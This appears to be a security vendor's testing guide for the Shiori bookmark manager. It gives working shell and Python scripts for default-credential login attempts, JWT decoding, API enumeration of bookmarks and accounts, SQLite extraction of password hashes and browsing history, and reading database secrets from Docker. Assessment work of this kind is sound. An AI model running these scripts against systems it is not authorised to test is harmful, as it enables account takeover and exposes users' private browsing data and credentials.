Shiori Security Testing: Default Credentials, API Key, Database, and JWT Secret

Shiori is a widely deployed self-hosted bookmark manager written in Go — it is designed as a simple, lightweight alternative to Pocket and Pinboard. Key assessment areas: Shiori ships with a default admin account with both username and password set to "shiori"; the JWT tokens issued by the login API grant full access to all bookmarks and archives; the database stores complete browsing history and offline page snapshots; and public bookmark endpoints can enumerate saved URLs without authentication when configured. This guide covers systematic Shiori security assessment.

Table of Contents

  1. Default Credential Testing and JWT Token Extraction
  2. Bookmark API Enumeration and Archive Access
  3. Database Bookmark History and User Account Extraction
  4. Shiori Security Hardening

Default Credential Testing and JWT Token Extraction

# Shiori — default credential testing and JWT token extraction
SHIORI_URL="https://bookmarks.example.com"

# Shiori default credentials — both username AND password are "shiori"
for CRED in "shiori:shiori" "admin:admin" "admin:shiori" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -X POST "${SHIORI_URL}/api/v1/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('message') == 'Login success':
    data = d.get('data',{})
    print(f'SUCCESS: {\"${USER}\"/\"${PASS}\"}')
    print(f'  session token: {str(data.get(\"session\",\"\"))[:30]}...')
    print(f'  isOwner: {data.get(\"isOwner\")}')
    print(f'  expiry: {data.get(\"expiry\")}')
elif d.get('message'):
    print(f'FAIL: {d.get(\"message\")}')
" 2>/dev/null
done

# JWT payload analysis
SHIORI_TOKEN="your-shiori-session-token"
# Decode JWT without verification
python3 -c "
import base64, json
token = '${SHIORI_TOKEN}'
parts = token.split('.')
payload = parts[1] + '=='  # pad
decoded = json.loads(base64.b64decode(payload).decode())
print(f'JWT claims: {json.dumps(decoded, indent=2)}')
# Look for: id (userId), owner (isOwner bool)
" 2>/dev/null

Bookmark API Enumeration and Archive Access

# Shiori REST API — bookmark enumeration and archive access
SHIORI_URL="https://bookmarks.example.com"
SHIORI_TOKEN="your-session-token"

# Get all bookmarks (authenticated)
curl -s "${SHIORI_URL}/api/v1/bookmarks" \
  -H "X-Session-Id: ${SHIORI_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
bookmarks = d.get('data',{}).get('bookmarks',[]) if isinstance(d,dict) else []
print(f'Bookmarks: {len(bookmarks)}')
for b in bookmarks[:10]:
    print(f'  [{b.get(\"id\")}] {b.get(\"title\")}')
    print(f'    URL: {str(b.get(\"url\",\"\"))[:80]}')
    print(f'    Tags: {[t.get(\"name\") for t in b.get(\"tags\",[])]}')
    print(f'    Public: {b.get(\"public\")} HasArchive: {b.get(\"hasArchive\")}')
" 2>/dev/null

# Access archived offline content for a bookmark
BOOKMARK_ID=1
curl -s "${SHIORI_URL}/bookmark/${BOOKMARK_ID}/archive" \
  -H "X-Session-Id: ${SHIORI_TOKEN}" 2>/dev/null | wc -c
# Returns full HTML snapshot of the bookmarked page
# Including content from pages that may have since been deleted or paywalled

# Public bookmarks — accessible without authentication
curl -s "${SHIORI_URL}/api/v1/bookmarks?public=1" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
bookmarks = d.get('data',{}).get('bookmarks',[]) if isinstance(d,dict) else []
print(f'Public bookmarks (no auth): {len(bookmarks)}')
for b in bookmarks[:5]:
    print(f'  {b.get(\"title\")} -> {str(b.get(\"url\",\"\"))[:80]}')
" 2>/dev/null

# Account enumeration — owner can list all accounts
curl -s "${SHIORI_URL}/api/v1/accounts" \
  -H "X-Session-Id: ${SHIORI_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
accounts = d.get('data',[]) if isinstance(d,dict) else []
print(f'Accounts: {len(accounts)}')
for a in accounts:
    print(f'  [{a.get(\"id\")}] {a.get(\"username\")} owner={a.get(\"owner\")}')
" 2>/dev/null

Database Bookmark History and User Account Extraction

# Shiori database extraction — SQLite or PostgreSQL
SHIORI_DIR="/srv/shiori"  # default data dir

# SQLite database location
ls "${SHIORI_DIR}/" 2>/dev/null | grep -E "\.db$|shiori"
DB_PATH="${SHIORI_DIR}/shiori.db"

# All user accounts with password hashes
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT id, username,
       password,  -- argon2 hash
       owner      -- 1=admin
FROM account
ORDER BY owner DESC, id;
EOF

-- All bookmarks with URLs and metadata
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT b.id,
       b.url,
       b.title,
       b.excerpt,
       b.author,
       b.public,      -- 0=private, 1=public
       b.has_content, -- 1=offline archive exists
       b.create_at
FROM bookmark b
ORDER BY b.create_at DESC
LIMIT 20;
EOF

-- Tags and their associations
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT b.url, b.title,
       GROUP_CONCAT(t.name, ', ') as tags
FROM bookmark b
LEFT JOIN bookmark_tag bt ON b.id = bt.bookmark_id
LEFT JOIN tag t ON bt.tag_id = t.id
GROUP BY b.id
ORDER BY b.create_at DESC
LIMIT 20;
EOF

-- Docker environment
docker inspect shiori 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SHIORI','PG_','POSTGRES','DB']):
            print(e)
" 2>/dev/null
# SHIORI_DBMS=postgresql — using PostgreSQL instead of SQLite
# SHIORI_PG_HOST, SHIORI_PG_USER, SHIORI_PG_PASS, SHIORI_PG_NAME

Shiori Security Hardening

Shiori Security Hardening Checklist:
Security TestMethodRisk
Default shiori/shiori credential testingPOST /api/v1/auth/login with shiori/shiori — JWT session token for owner account; full admin access including user management and all bookmarks; most common Shiori misconfigurationCritical
Bookmark history privacy exposureGET /api/v1/bookmarks with session token — complete browsing history including private bookmarks, tags, and timestamps; reveals research interests, reading patterns, and sensitive URL access historyHigh
Public bookmark enumeration without authenticationGET /api/v1/bookmarks?public=1 without credentials — all bookmarks marked public; may expose sensitive research topics or internal URLs marked public by mistakeMedium
SQLite bookmark table URL extractionSELECT url FROM bookmark — complete URL history for all bookmarks; offline archive content if has_content=1; account table argon2 password hashesHigh
Offline archive sensitive content accessGET /bookmark/{id}/archive — full HTML snapshots of bookmarked pages; may include content from behind authentication walls, paywalled articles, or sensitive pages captured at archive timeHigh

Automate Shiori Security Testing

Ironimo tests Shiori deployments for default shiori/shiori credential testing, bookmark history privacy exposure via REST API, public bookmark unauthenticated enumeration, offline archive sensitive content access, SQLite account table argon2 hash extraction, SHIORI_PG_PASS PostgreSQL credential exposure, JWT session token analysis and privilege level assessment, multi-user bookmark isolation boundary testing, tag-based browsing pattern analysis, and Docker SHIORI_DIR data directory mount assessment.

Start free scan